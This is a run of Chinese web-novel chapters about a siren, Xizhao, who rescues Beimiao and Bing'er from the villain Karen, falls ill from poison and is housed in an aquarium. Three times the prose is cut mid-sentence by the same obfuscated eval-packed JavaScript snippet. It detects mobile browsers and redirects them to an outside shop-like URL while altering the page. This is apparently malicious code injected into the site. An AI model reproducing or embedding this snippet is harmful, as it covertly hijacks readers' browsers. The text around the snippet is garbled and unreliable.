直到上涨的潮水淹没缺口,他也没有等到归来的北淼和三水之家的成员,等来的是两辆深绿色的越野车——这不是北淼他们的载具。西钊立即警惕起来,尽管他知道自己坚持不了多久,还是化鱼尾为鸟足登上岸朝那个方向赶过去。但他还没来得及走出浅滩,脖颈处突兀地传来强烈而熟悉的电流,让他毫无防备地摔倒在地上。潮起潮落、让西钊的爪子一点点陷进沙子里。 电流持续了好一会儿才停止。此时,越野车也正好停在他面前不远处。西钊艰难地仰头,看到一个黑衣人打开副驾驶的门,卡伦的权杖比他本人更先映入西钊的视线。 “敢带着外人来这里闹事,看来,你已经把我们之间的‘交易’忘得一干二净了。” 卡伦站在越野车旁,朝身边的几名黑衣人做了个手势。接着,他们便打开越野车的后车门,从里面拽出两个西钊再熟悉不过的人,随手就丢在卡伦左右两边。 “——!” 如果西钊能说话,他一定会大喊冰儿和北淼的名字。西钊下意识地想爬起来冲上去,站在两人身边的黑衣人立即举起手中的枪对准了他们。西钊只得费力地撑住自己的形态,咬牙切齿地瞪了卡伦一眼。 冰儿和北淼看上去很虚弱,似乎还有些意识残留。冰儿没有多少外伤,多半是毒性发作,还没注射血清;北淼的情况更严重些,身上有淤青和擦伤,小腿还有一个粗糙的止血带,应该是中了枪,半个裤腿几乎都是血。 正当西钊在满腔愤怒中疑惑卡伦为什么不直接杀了他们时,卡伦毒蛇一般的声音从西钊的头顶传来:“西钊。我给你最后一次机会,如果你不想落得和上一只塞壬同样的下场,就给我解决这两个家伙,以绝后患。之后,只要你协助我完成研究,我答应你、放你自由。” 自由?笑话。折断羽翼的飞鸟、拴住尾巴的游鱼,哪里来的“自由”?西钊没有理会卡伦的话,一次次地试图站起来,每次都会被电流重新击倒在地。 “你最好搞清楚。我只是给你一个知错悔改的机会。就算你不动手,他们今天、也别想活着走出这里。” “!?” ——不。 绝对不可以。 当两名黑衣人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334695|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手枪上膛的声音传入西钊耳中,那平日里能将他轻易“驯服”的高压电流忽然之间对他失去了作用。在卡伦震惊的目光中,纯白色的塞壬最后一次从电光之中站起,便再没有倒下。他的五指变为利爪,大量的羽毛开始在手臂生长,侧翼向外伸展,深色的双瞳在阳光之下映出淡淡的苍蓝色微光,虽澄澈透亮,却毫不掩饰其中的杀意。 见颈环已经不起作用,卡伦果断退到几名黑衣人身后,大声命令道:“杀了他们!” 刹那,数发子弹迎面而来,但塞壬毫不惧怕,一步也没有退却,巨大的鸟足踏着潮水的泥沙朝对面逼近。犹如神迹一般,在塞壬周围的每一发子弹都像是被静止时间、悬浮在空中。之后又被不存在的手硬生生地碾碎,散成粉末。 你夺走了我的天空。 但你忘了, 整片海洋都能与我为伍。 西钊此时已经站在北淼和冰儿中间,将卡伦等人生生逼退数米。潮水像是受到了某种召唤,不断地向西钊的方向涌来。 海水异常的流向让意识模糊的北淼清醒了些许。他睁开眼,下意识抬头看去。他的视线无法马上聚焦,但他依旧看到了那一抹蓝色:埋藏在他记忆最深处、他第一次见到的、被他称为“天使”的、那只塞壬眼中的蓝色。他绝不会认错,因为这世界上再没有任何一种颜色能与它媲美。 原来,那个时候的塞壬是—— “西钊……?” 北淼的声音很小,大量失血和方才惨烈的枪战肉搏让他丢了半条命。而随着北淼感应到的洋流越发强烈,他的视线也逐渐变得清晰。吸引他的不是西钊背后逐渐被染成黑色的羽翼,而是从身后、海岸线的方向,传来的巨大声响。北淼的感应告诉他,那不是洋流,而是“海啸”。他撑起半个身子,努力转身回头看向大海的方向。 在西钊充满力量感的歌声中,他见到了毕生难忘的震撼一幕: 没有苦刑能折磨我—— 我的灵魂,是自由的—— 这终有一死的骸骨之下 我编织着更无畏的生命* 海面骤然升起数米高的“巨浪”,环绕整个小岛将其包围,以极快的速度朝岸上袭来,有如深渊巨口,下一秒就能够将整个岛屿吞噬。而指挥它的塞壬正将两对漆黑的羽翼展开,环绕在北淼和冰儿周围,形成半个保护圈。他缓缓抬起手,由远及近的“海浪”也随之拉升到前所未有的高度。 让我们别再挑剔。 诗人的思想和蝎子的尾巴, 都在同一块大地披着荣光升起。# 直到现在,北淼才发现,组成头顶的“巨浪”不是海水,而是无数大大小小的鱼群。它们好似一堵坚固无比的城墙、又如一支势不可挡的军队,为忒修斯之岛降下神罚般的灾厄。 诗歌不是被表达的意见。 它是一首首从流血的伤口 或微笑的嘴角中升起的歌。# 当城墙坍塌、千军万马瞬间将整个岛屿淹没。北淼本能地抬手自我防卫,却只能听见周围海水的汹涌澎湃。他慢慢睁开眼,面前的景象让他不敢相信自己依然还在陆地上:海浪盖过他们的头顶、无情冲向他们时,塞壬周身仿佛有着某种不知名的力量,硬生生分割了能够折断巨木、撕碎车辆的鱼群与海啸。冰儿和北淼被很好地隔离在这灭顶灾难之外,像是水底冒起的半圆形气泡。 北淼看到,那只黑色的塞壬朝对面沉溺于海水里的几名人类举起手,张开的五指慢慢收拢。海水中迅速窜出几只凶恶的鲨鱼,张开血盆大口直奔它们的猎物。 囚禁是一种意识 自由亦如是。* 五指握拳之时,塞壬脖颈上的项环啪地碎裂在地;而他面前的海水早已被鲜血染成一片刺眼的猩红。 鱼儿们仍未停止它们的进攻,依旧在引领着海水吞没岛上的每一处建筑和土地。北淼通过水流清晰地感知到整座岛屿都在不断下沉、下沉。他正要抬头望向那只黑色的塞壬,一滴黑红色的粘稠液体落在他面前。北淼敏锐地捕捉到了一丝淡淡的铁锈味 ……血? 北淼并未来得及细想,一只浅蓝色海豚就从他旁边的水墙之中探出脑袋,将嘴里含着的一针管密封药剂丢到北淼怀里。随后它便绕了一圈,到冰儿的位置,不停地摆摆尾巴,晃动脑袋,明示北淼这管药剂的作用。 “……解药?”北淼试探性地问道。 令北淼感到惊讶的是,它居然点了点头。 有那么一瞬间,北淼很想冲过去给小雪注射解毒剂。但空气中那挥之不去的咸腥让他始终无法行动。是因为不确定药剂的安全性吗?还是因为…… “只有一份?”北淼忽然发现了问题所在。 海豚似乎有些低落,一直在冰儿旁边原地转圈,看上去很焦急。一只手还撑在地上的北淼忽然觉得有什么温热的东西落在他手背。他抬手一看——是黑色而浓稠的血。与此同时,头顶无形的屏障毫无征兆地消失,海水迅速涌入、开始填充这个残破不堪的“气泡”。 北淼在失去意识之前,看到了被海浪推来的、三水之家的船只;也听见了塞壬愈发遥远的温柔颂歌: 盐里一定有某些奇异神圣的东西。 它在我们的眼泪中, 也在大海里。# 他听见那只塞壬低声唱道: “对不起。” TBC *摘自艾米莉·狄金森《没有苦刑能折磨我》 #摘自哈利勒·纪伯伦《沙与沫》 68. 他不是塞壬[番外] 北淼做了一个梦。 他梦见自己缓缓向着漆黑的海沟下沉,四肢和肺部不断被海水挤压;他睁不开眼睛,窒息感也愈发强烈。忽地,静如死地的深海泛起阵阵波纹,有什么东西窜到他面前。他感觉到对方的双手温柔地捧着他的脸,慢慢朝他靠近;对方的气息并不陌生,他却怎么也想不起来。 就在北淼努力回想之时,那人柔软的双唇便与他相贴。这不是一个充满情欲和爱意的吻,而是对方在为北淼输送续命的氧气。它的动作太过轻柔和谨慎,仿佛对待易碎的珍宝、又似乎在担忧北淼会突然反抗。但直到这个“吻”结束,他们之间什么都没有发生。 黑暗中,对方温暖的手掌仍未离开北淼的脸颊。它慢慢凑近,与北淼额头相抵。在它到来之前,北淼的耳边只有大海空无的恐怖回音,然而,当那堪比塞壬之歌的动人声音响起,一切恐惧便于顷刻间烟消云散。 ——对,塞壬。它是塞壬。 化作人鱼的塞壬带着北淼缓慢上升,只听它悠悠唱道: 在黑暗与腐朽里 我曾有一抹思绪, 最好是你把我忘记,而留下笑容, 远好过你把我记得,却徒增悲伤。* (*克里斯蒂娜·乔治娜·罗塞蒂《记得》) 什么意思?它要他忘记什么? 等等,他记得这个声音—— “——西钊!” 塞壬带着他升上水面的瞬间,北淼在医院的病床上惊醒。 病房里空无一人。床头柜上有一张冰儿留下的字条:她去给北淼买吃的。旁边手机的息屏显示告诉北淼现在刚过正午不久。 这是北淼住院的第二个星期。他对那天在忒修斯岛的记忆有些模糊,海水灌入“保护罩”之后不久他就失去了意识。再次醒来,他已经在三水之家的船上了。下船找卡伦的那批成员无一幸免,好在北淼在船上还留有人手。根据他们的说法,是塞壬和海豚把北淼和冰儿驮出水面,他们才能及时下水救援。北淼没有理会身上的伤,第一反应就是确认冰儿和西钊的情况。 他来到船上的医疗观察室,发现床上躺着的是西钊,而旁边坐着的是小雪。 西钊紧闭双眼、气息薄弱。他身上原本银光闪闪的鳞片早已被黑色的毒素腐蚀,就好像有人用黑色的记号笔在他身上肆意涂画,很是刺眼。床不够大,西钊的半条尾巴都垂在床边,尾部柔软的薄鳍落在地面一动不动,没有一点生气。 而坐在床边椅子上的小雪状态却与北淼刚登岛看见她时截然不同:面色红润、精神焕发。只是现在因为西钊的状态,她有些焦急无措,不停地用干净的湿毛巾给西钊擦从鳞片里渗出的黑血。 看到北淼进门,冰儿的手僵在半空,似乎有些尴尬。他们在岛上没有机会过多交流,北淼一言不合就直接跟卡伦干起架来,直到他们被暗算之后再被西钊救下。这种紧张的氛围只持续了几秒钟,至少在冰儿看来是这样。她没说话,继续照顾着床上昏迷不醒的塞壬。北淼觉得自己开口说话也不是、若无其事直接出去也不是,只好又搬了一张椅子坐在小雪旁边。庆幸的是,冰儿并没有避开他。 “西钊他——” “他把解药给了我。”冰儿打断北淼的话,虽然听上去并不冷漠,却依旧给人一种疏离感。 冰儿告诉北淼,西钊在三水之家的船员把他们救上来之后,就控制船员将北淼拿着的解毒药剂注射进了冰儿体内。当时毒素已经积累到无法用缓释血清进行延时的地步,如果不进行注射,冰儿根本撑不到北淼醒过来。但西钊也很聪明。冰儿说,西钊在救她之前,让船员事先取了几滴解药保留在一根小管子里。根据西钊的经验,只要有足够的时间,人类就会复制出他们拿到的任何东西,所以这算是西钊给自己留的一条后路。只不过,他需要人类的帮助。 冰儿从口袋中拿出那管装着几滴透明液体的药剂递给北淼,淡然问道:“塞壬的歌声夺走了我们的一切。现在,你愿意救一只曾经恨之入骨的塞壬吗,小北哥?” 过去在他们之间亲昵的称谓,不知为何让北淼的心感到一阵刺痛。他毫不犹豫地接过密封的试管,轻轻拉住冰儿的手,动作有些瑟缩,生怕让她受到惊吓而猛然抽离:“……他不是塞壬。他是西钊。” 北淼拿出西钊交给他的海螺吊坠,将它放入冰儿的手心,在冰儿略显惊讶的表情里给予她自己几乎全部的温柔:“放心吧,小雪,我会救他——不惜一切代价。当初是我不好,是我不够强大,没能抓住你、也没有足够的能力及时找到你……对不起。以后,我不会让你,不,你们。我不会让你们再受到伤害了,好吗?小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334696|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪,再信我一次。最后一次。我带你回家。” 北淼不记得后来发生的细节,他只知道,那天冰儿埋在他怀里,痛快地哭了一场。 他们回到D市之后,立即将西钊送往ERP生物科技有限公司。一方面让美真利用缓释血清在生死边缘线维持西钊的生命,另一方面委托加鲁博士对解毒剂的样本进行研究。而北淼被冰儿强迫着住进医院疗养,这段时间一直由她来照顾。 随冰儿的午饭一起来的还有美真那边的进展。加鲁博士对解毒药剂的成分依旧没有头绪,似乎总是缺少了某种关键材料;而经过美真对缓释血清的改良,虽然不能完全解除毒素,但抑制效果显著,西钊的生命体征也逐渐变得稳定,甚至恢复了意识,就在今天早上。只要他和装有缓释血清的维生装置相连,就可以在一定范围内自由活动。 此话一出,北淼差点被未咽下去的食物呛到。他放下餐具,拿起放在床上小桌板开着扬声器的手机连忙说道:“既然如此,我现在就去接他回家。” “诶诶,你给我等等。上次你带走西钊的事我还没找你算账呢北淼,你倒好,这次直接明牌了是吧?”美真在电话里没好气地说着,听起来下一秒就要发火。 “你不给?好啊。”北淼轻咳一声,迅速换上官腔,一本正经地说道,“那我代表‘黑犀海上贸易公司’,对ERP生物科技有限公司进行投资入股,要求你们在所有关于塞壬的项目上向我汇报进度,并且我会提供更专业先进的设备供你们其他无关项目使用,让利分红都是你们占大头。唯一的条件就是将‘萨里姆’海湾的个人房产作为指定活体塞壬的观察实验区域。美真,你觉得,这么好的合作机会,你们上面会不心动?” “……”美真用沉默表达她的不满,“北淼,你这叫公权私用。” “别说得那么难听啊。我只是稍微动用了一下蝙蝠侠的‘超能力’而已。”势在必得的北淼慵懒地向后靠在床头,一副洋洋得意的样子。 “啊?”扬声器里传来东杉小声的质疑,同样疑惑的美真顺势接着问道,“蝙蝠侠哪来的超能力?” “他有钱。很多很多钱。” “…………” 电话瞬间被挂断,北淼大概能猜到美真在遥远的ERP生物实验室对他翻了个白眼。 TBC 69. 心弦[番外] 北淼没有把西钊接到海湾的别墅,而是承包了黑犀集团名下的一座大型水族馆——以及里面的鱼。 水族馆和别墅不在一个市区,但离北淼在市中心的公寓很近。这些天忙于塞壬和卡伦的事,他在公司的工作已经堆积成山,他不得不将安置西钊的工作交给三水之家。他还顺便在公寓里清出了一个房间给小雪住,不过小雪似乎更愿意把时间花在照顾西钊上。 这座水族馆的特色是圆环形的中空设计,环内是各种各样的观赏鱼,圆心是游客观赏区。圆环很厚,为鱼群的活动创造出足够活动空间的同时也方便西钊维生装置的安装。 为了给西钊更舒适的环境,北淼根据小雪对西钊的了解,派人到特洛伊岛勘察西钊在那筑的巢,以几近完美的工艺用天然的礁石和珊瑚石一比一将其复刻。美真的第三代改良血清可以让西钊不用每时每刻都持续注射,只要让西钊在睡觉时连接装置即可,所以北淼干脆就把它的主体直接嵌在了石头上。 虽然知道塞壬一般都会睡在这块石头旁边的小洞里,但北淼还是让施工队把注射的细管接长了一截。它偶然间听小雪提起过,西钊的睡姿很滑稽,很像寿司里的鱼肉卷。他忽然很想亲眼看看那是个什么样子。 哦,说起寿司。从忒修斯岛回来后暴瘦的北淼想起西钊那电线杆似的身板,这和各种资料记载的塞壬可对不上号。难道是因为西钊不吃人?还是他单纯地挑食?不对,他根本就不知道西钊的喜好。都说抓住一个人要先抓住他的胃,为了弥补之前糟糕的态度和行为,北淼决定做些什么讨好西钊,拉近一下他们之间的关系。 于是有一天他问小雪:“既然西钊是条鱼,那他是不是也吃鱼?” 小雪当时的表情很奇怪,似乎是被勾起什么不愉快的回忆。她没有回答,只是不悦地抱臂扭开头。两人的沉默持续了一会儿,北淼自觉尴尬,知趣地闭嘴,没再提起这个话题。直到后来北淼决定把西钊安置在水族馆,小雪才告诉他,西钊能和飞鸟游鱼交流。西钊不会干涉例如“大鱼吃小鱼”的食物链自然规律,但同时也不会主动去伤害它们。 “那他……有爱吃的东西吗?” 因为工作很忙,北淼不常下厨,但他相信自己的手艺,上回和蕙姨比赛做炖羊肉还是三比二险胜,他怀疑炘南贿赂了小兰那一票——扯远了。总之,只要不是特别小众的菜式,他都能手到擒来。 也不知道是意料之中还是意料之外,小雪想了想,说:“肉。除了天上飞的水里游的东西。但他一般都生吃或者烧烤。” 在北淼意料之中的是,这是个再普通不过的答案,毕竟塞壬的相关记载都有写道“杂食性动物、喜生肉”;而在他意料之外的是:“既然他爱吃肉,为什么还是那么瘦?” “我曾听他说过,遇到我之前他总是待在海里,只有特别饿的时候才会去陆地上觅食。为卡伦做事之后,他没有机会去别的地方觅食,补给大部分也让给了我。所以……”小雪没在继续说下去,而是直直看着北淼,眼里少了分冷漠,多了些属于十年前那个小女孩的俏皮,一副大小姐模样命令道,“所以小北哥,你要用西钊从没吃过的食物好好招待他,听到没有?” 察觉到小雪微妙变化的北淼很是欣喜,食指并中指在额前朝小雪自以为帅气地挥了挥:“放心,保证完成任务。” ———— 西钊对水族馆、动物园之类的印象其实并不好。他以前时常能听到一些来自水族馆内的鱼儿和动物园的飞鸟们讲述被人类“囚禁”在那里度日如年。它们很多同伴都在其中受到了虐待,一直到死亡都无法自由。因此,当西钊得知北淼的公司要将他转移到某处水族馆时,他心想,这或许又是一段“笼中鸟”生活的开始。甚至还有那么一瞬间,他希望自己那时与忒修斯岛一起沉没海底,再也不会醒来。这样他就不用承认原来北淼和“其他人类”并无不同——用他的命、换他的自由。 此时,被卡车搬运来搬运去的西钊窝在漆黑的车厢里,外面的施工队吵吵嚷嚷地工作,让他止不住地胡思乱想。 他实在想不出自己这只病恹恹的塞壬对北淼来说还有什么利用价值。难不成要作为水族馆的展品之一?可是……毒素污染了他漂亮的银色鳞片和鱼鳍,让他变得丑陋可怖,像一只真正的怪物。还是说,这也是人类的某种喜好之一?那种、名叫“猎奇”的风格?西钊不知道。他从醒来就没见过北淼和小雪,除了知道是北淼托人维系他的生命之外,没有人告诉他发生了什么。 难道,是因为他当时在海里给北淼输氧,那个动作看起来像人类之间的接吻,让北淼误会了什么?总不能是为了这个目的才把他……也不对,那样的话应该在更私人的场合。 虽然塞壬不是没有那方面的器官,但他连□□的经验都没有,不会出事吗?要是伤到北淼怎么办?仔细想想,北淼那么烈的性子,大概会让自己扮演“雌性”,也就是人类中女性一方的角色,所以某种程度上会减少很多危险…… 西钊的思绪被这个主题越带越偏,直到想象不出塞壬和人类□□的姿势,他才反应过来刚刚经历了怎样的头脑风暴。 正当他为自己莫名其妙的意淫感到羞愧难当时,车厢动了——应该说是装着他的玻璃箱子被挪到一个高台。穿着三水之家制服的工作人员打开箱子的一个小口,为西钊注射缓释药剂,之后便操控机器夹住玻璃箱、缓慢移动到水下。透明的玻璃箱瞬间被周围好奇的热带鱼群包围,把西钊吓了一跳。 水族馆成员的“欢迎仪式”在工作人员打开箱子、放出西钊之后变得更加热情。西钊庆幸身上的毒素没有传染性,因为现在许多鱼儿都环游在他身边,体型稍微大一些的时不时蹭得他稳不住摆动平衡的尾鳍。 与西钊印象里的“囚笼”不同,生活在这里的鱼儿们都过得很舒适,身上没有伤病、水质也干净清透。除了有些智商不高的家伙会吃掉它们的“同事”之外,几乎没有不愉快的事情发生。虽然和其他水族馆一样有动物表演,但西钊感觉不到它们的负面情绪。显然,这里的人类把它们照顾得很好。 西钊从漩涡一般的鱼群里钻出,一眼就看到了不远处有个塞壬的“巢”,和他在特洛伊岛海底做的那个特别像,但似乎因为嵌在石头里的机器,看起来有些怪异。他试探地钻进那个和他的身子刚刚好契合的石洞调整姿势。嗯,很舒服,位置和角度都刚刚好,建造它的人一定花费了不少心思。人类果然可以复制出认知里的一切。西钊一边感慨,一边在洞里弓身曲尾、蜷成“鱼肉卷”。他懒洋洋地闭上眼睛,疲惫感瞬间如一双大手将他紧紧拥抱。这时他才发现,自己好像很久很久都没有这么放松地休息了。 有几条好奇的小鱼也跟着钻进来游荡在西钊身边,想与他嬉闹,但西钊依旧闭着眼、呼吸平稳、没有动弹——困倦的塞壬甚至还来不及思索是谁做了这一切,就这么毫无征兆地沉沉睡去。 ———— 等北淼处理完今天的工作、购置食材做好一顿辣味的水煮牛肉之后,时间已经接近晚上九点。也不知道水族馆现在还有没有人值班,虽然他自己也有门卡和钥匙。北淼本想让小雪跟他一起去,但小雪却说应该给他和西钊单独相处的机会和时间。毕竟—— “如果我在旁边,你就是我哥,而不是‘张北淼’。你一个人去,他大概会认为这是你自己想这么做,而不是收到我的影响。” 有道理。北淼拎着热乎的饭盒,若有所思地点点头。 不过,他还是觉得小雪的说法怪怪的,有一种奇妙的违和感……不管了,这些都不重要。三水之家下午的时候就发来消息告诉他,已经把西钊安置好了。至于水质和环境的适应,他们还需要观察一段时间。 看着手机屏幕上的“观察”二字,北淼忽然有一种把他的办公室搬进水族馆的冲动。反正这地方已经是他的了,不会有游客和闲杂人等,中央那么大个圆形区域布置布置也可以作为很好的办公区域——呃,等一下。北淼突然想起,为了不对鱼类的生活环境造成影响,水族馆的观光区灯光一向不会很亮,都是在缸内使用低功率氛围灯。到时他看个文件估计都得搞得和“凿壁偷光”似的。 啊——我讨厌上班。 被员工们誉为“工作狂”的北淼从来没对工作这么厌烦过。谁说老板就一定能轻轻松松躺着赚钱的?这几天他忙得魂都快吐出来了。好在他有一个性格相近的妹妹,总能在他的魂从嘴里缓缓飘走的时候扒开他的嘴用六亲不认的手法给他再塞回去。 老实说,小雪回归已经有一段时间了,北淼还是没法习惯她那达到完美平衡的温柔和暴力,一定是他的问题…… 北淼将跑车停在水族馆门口,长长地叹口气,拎着饭盒走进水族馆幽蓝色的入口隧道。警卫室还有三水之家的人在值班,北淼谢绝他的领路,径直往观赏区走。水族馆改造区域是北淼托坤中的朋友阿土和老马修建的,他自己偶尔也会来监工,所以他对各区域和路况都很熟悉。 展区很大,但只是一个整体的环。不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334697|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两分钟,北淼就凭记忆找到了塞壬巢穴的所在地。于是,他便看到了小雪口中的那条“鱼肉卷”: 西钊窝在不大不小的石洞中、抱着自己的尾巴睡得香甜、微卷的头发缕缕漂在水里,完全不像是因致命毒素生命垂危的样子。小雪说得对,北淼想,西钊的这个模样确实很滑稽,很……可爱。虽然西钊身体和尾部的鳞片几乎半数都被染黑,但背鳍和耳鳍还保留着原来的模样,银白中透着淡淡的蓝。或许是太过放松,西钊的耳鳍自然地垂下,背鳍由于弓着身体的姿势微微竖起、呈现出一轮完美的弧线。 巢穴的洞口离玻璃很近,约莫只有几米左右,西钊的脑袋近在咫尺,让北淼没忍住将手贴在玻璃上、微微凑近了观察。他发现,原来西钊脸上也有鳞片,从侧颈一直延伸到下颚和脸颊。由于鳞片十分细小密集,几乎与类人的皮肤组织融为一体,只有在水中透过波纹的多次折射,上面的银光才会若隐若现。 ……真漂亮啊。 要是过去的北淼站出来指着西钊说“他是只会害人的怪物”,现在的他估计会一拳让那个不明真相断章取义的自己清醒清醒。 几乎看呆的北淼没忍住拿出手机,打算拍下西钊的睡姿。他本想着可以做个电脑锁屏或者壁纸什么的,但在北淼按下快门的瞬间,手机后置摄像头发出一片强烈的白光——太久没用这个功能,他都忘了关闪光灯。 突兀的光线吓跑了西钊周围的鱼群。北淼手忙脚乱单手调整设置,而原本熟睡的西钊受到光线的影响,皱着眉头睁开眼。待他双瞳聚焦时,正好与无措但还朝他举着手机的北淼对上视线。那一刻,两个人都愣住了。来给西钊送饭的北淼似乎忘了怎么开口说话,而刚刚还怀疑北淼居心不良的西钊似乎没想起来逃跑或躲藏。 直到,一只“微笑”的鳐鱼摆着尾巴、贴着玻璃,悠哉悠哉地从他们中间滑过,这充满戏剧性的沉默才潦草结束。 “咳。”北淼收好手机,若无其事地握拳放在口鼻处清了清嗓子,视线跟着那只贴在玻璃上笑嘻嘻的鳐鱼不断漂移,举起手中提着的饭盒给西钊看。他之前让阿土他们做了些传声设备,因此不用担心西钊听不到他说话:“你……你饿不饿。我带了吃的。” 西钊此时也反应过来北淼的来意。但他被命令惯了,一时半会儿也没觉得自己有拒绝或者其他选择的权利,因此他没多想,依旧是那副待人不生不熟的温和微笑,朝北淼点了点头。不过,他不太明白北淼要从哪里给他食物。某种通道吗?还是直接扔进水里?要不要分一点给其他伙伴?等西钊思考着这些问题钻出巢穴时,北淼的身影已经消失不见。 西钊环顾四周,偌大的展厅内空无一人。但过了一会儿,从西钊的头顶——水族馆鱼缸的水面——传来一阵波动,频率很熟悉,是北淼和冰儿“召唤”他时常用的节奏。西钊知道那上面是陌生的人类世界,但他依旧响应北淼的呼唤摆尾上浮。他利用冲出水面的惯性坐上环形平台,甩甩脑袋、整理头发,余光发现北淼离他不近不远,似乎是为了避免被自己溅到一身水。 北淼走到西钊面前,在蹲和坐之间选择了蹲,他不太想弄湿裤子。北淼将手中灰黑色的纯色双层饭盒搁在地上,西钊稍稍前倾身体,投来好奇的目光。饭盒中水煮牛肉的香味因涌出的水蒸气飘散在两人周围。北淼还在拼接筷子的时候,明显能感觉到旁边的某个人……某条鱼……不动声色地咽了口唾沫。看来他确实没吃过除了烤制和生食之外的东西。 那给我发挥的空间可就太大了。北淼暗暗窃喜,拿好筷子准备端起饭盒喂给西钊。西钊见状连忙摆摆手,觉得这里不太适合唱歌,于是试图通过手语告诉北淼自己会用筷子,不用麻烦北淼。 北淼不耐烦地“啧”了一声,夹起一片沾满汤汁的牛肉不由分说塞进西钊嘴里:“看不懂。吃就是了,死不了。”他没有看西钊的反应,低头捣鼓饭盒里剩余的肉,还不忘给自己塞一些。 当北淼再次抬眼看向对面的塞壬时,西钊因第一次品尝到未知的美味而惊喜地竖起耳鳍、不停舔舐唇瓣回味的模样让他微微一愣。他忽然发现,“眼里有光”并非单纯只是一种比喻。 有那么好吃吗? ……哦,之前对厨艺自信满满的人好像是他自己。 北淼犹豫着将刚刚挑出的大片牛肉递过去。这次西钊没有推脱和客气,手撑地面倾身上前一口咬下,头发上的水珠一滴滴落在北淼手背,冰冰凉凉的,就像在一点点冷却他加速跳动的心脏。 TBC 70. 心存希望[番外] 万事有因必有果。为了在灰喑的事上得到政府部门的帮助,北淼委托炘南给高层举办私人钢琴音乐会。而作为回报,北淼必须代替原本答应小兰但临时有事的炘南,陪小兰看电影。 北淼一开始答应得很爽快。他想,不就是陪小孩子看个电影吗,这有什么。直到他抱着给小兰买的超大份爆米花、接过小兰的电影票、看到上面白纸黑字写着《芭比之人鱼公主》时,他沉默了。北淼一时间不知道炘南是在报复他还是自己单纯“撞了大运”。 算了,来都来了。而且,再怎么样都不能扫孩子的兴。北淼破罐破摔地跟着开心蹦跶的小兰进入影厅,在中间靠后的位置坐下。他们卡的时间很准,刚入座没几分钟,电影便正式开始。 北淼本来做好了中途睡着的准备,但当剧情进展到那只蜗牛对女主角说“要牺牲翅膀换尾巴”才能救人的时候,北淼忽然困意全无,不动声色地坐直原本都快瘫在椅子上的上身。根据前情提要,女主角原本生来没有翅膀,这对翅膀算是她在上一部拯救世界的奖励。看到女主角戴着能许愿尾巴的珍珠项链摇摆不定,北淼也为她觉得不值。 当然,北淼知道,这是给小孩子看的电影。这个东西出现一定有它的意义,也就是说,女主角一定会为了某人、某件事而用翅膀换尾巴。 北淼猜对了。当女一和女二穿过水流特别强烈的隧道时,女主角的翅膀无法承受水流、而女二号又被海草形成的笼子困住,即将被吃掉。千钧一发之际,女主角对着珍珠许愿,用那条全新的尾巴迎流而下,成功解救同伴。 也许是这种自我牺牲的善良和无畏无惧的勇气,让北淼想起了西钊,那只曾经拥有翅膀、现今只剩尾巴的塞壬。即使是儿童动画里智勇双全的女主角也会为自己冲动的行为感到低落伤心,那西钊是否也曾后悔过帮助小雪、救他一命……呃,两命。从那条珍珠项链来看,女主角还有机会拿回她的翅膀;但西钊没有那么幸运。这个世界怎么可能有凭空生出肢体的魔法呢?那几乎和“奇迹”没什么区别。 北淼一手托着沉重的脑袋、一手抓起几颗爆米花往嘴里塞。按照套路来说,到最后女主角肯定会在珍珠项链最后的时限内及时回到水面。自以为对剧情猜了个大概的北淼对中间的“历险”感到有些无趣,直到女主角一行人穿过长满水果的海底洞穴,女二号开始对它们进行讲解。 “只要吃一口这个浆果,就能还原真正的你。” 这句话成功引起了北淼的注意,以至于后面关于爱情的讨论他都没认真听。 “还原真正的你”?怎么个“还原”法?具体效果是什么?这个概念也太宽泛了。要深究起来,可以是病痛、可以是伤口、甚至可以是残疾和衰老。如果给西钊吃这个淡黄色的浆果,能不能解他身上的毒?他的翅膀能不能长回来? 可随即,北淼的无数猜想被冰冷的现实打碎:这是动画片、是美好的童话故事,现实中怎么可能有这样的“魔法浆果”存在呢?如果有的话地球就乱套了。北淼烦躁地抚摸后颈,他应该一开始就意识到的。想要相信奇迹,首先得知道,它能够诞生在这个世界上。 等北淼冷静下来时,屏幕上的剧情已经进展到正反派在抢那颗号称能免疫一切魔法的浆果,它和那个还原自我的浆果长得很像。女主角的珍珠项链时限将至,她带着浆果及时上岸。但北淼没想到反派也追了上来,威胁女主角拿毒药交换浆果。这下完了,北淼想,这种场景肯定会赔了夫人又折兵。果不其然,浆果交过去了,毒药也随之往水里掉。女主角没有丝毫犹豫,跳下去在半空接住药瓶盖上盖子,但她最终落入水中,没能如愿换回翅膀。 真是意料之外的发展。北淼不禁为这跌宕起伏的剧情点头表示认可。但同时北淼也在想,如果换做西钊,大概会做同样的事,或者说,他已经做了。 